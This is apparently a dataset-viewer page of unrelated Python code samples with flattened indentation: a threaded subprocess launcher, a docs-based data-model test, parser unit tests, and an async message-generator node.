proc = subprocess.Popen(popen_args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
proc.wait()
except OSError:
import traceback
traceback.print_exc()
on_exit()
return
import threading
thread = threading.Thread(target=run_in_thread, args=(on_exit, popen_args))
thread.start()
return thread |
class TestDataModel(BasePythonMarkdownDocs):
DOC_PATH = Path(ROOT_DIR, 'docs', 'defining-data-models.md')
def _assert(self, locals_, *_mocks):
attribute = locals_['attr_title']
assert isinstance(attribute, Attribute)
data_model = locals_['book_model']
assert isinstance(data_model, DataModel)
description = locals_['It']
assert isinstance(description, Description) |
class TestParsingOr(unittest.TestCase):
def test_or_with_commas(self):
actual = parse('a,b,c')
expected = ((trait('a') | trait('b')) | trait('c'))
self.assertEqual(actual, expected)
def test_or_with_join_nested(self):
actual = parse('a.b.c,d.e')
expected = (trait('a').trait('b').trait('c') | trait('d').trait('e'))
self.assertEqual(actual, expected) |
class SinkGenerator(lg.Node):
OUTPUT = lg.Topic(SinkArgumentMessage)
counter: int
def setup(self):
self.counter = 0
(OUTPUT)
async def run(self) -> lg.AsyncPublisher:
while True:
self.counter += 1
if (self.counter > 10):
raise lg.NormalTermination()
(yield (self.OUTPUT, SinkArgumentMessage(a=self.counter))) |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.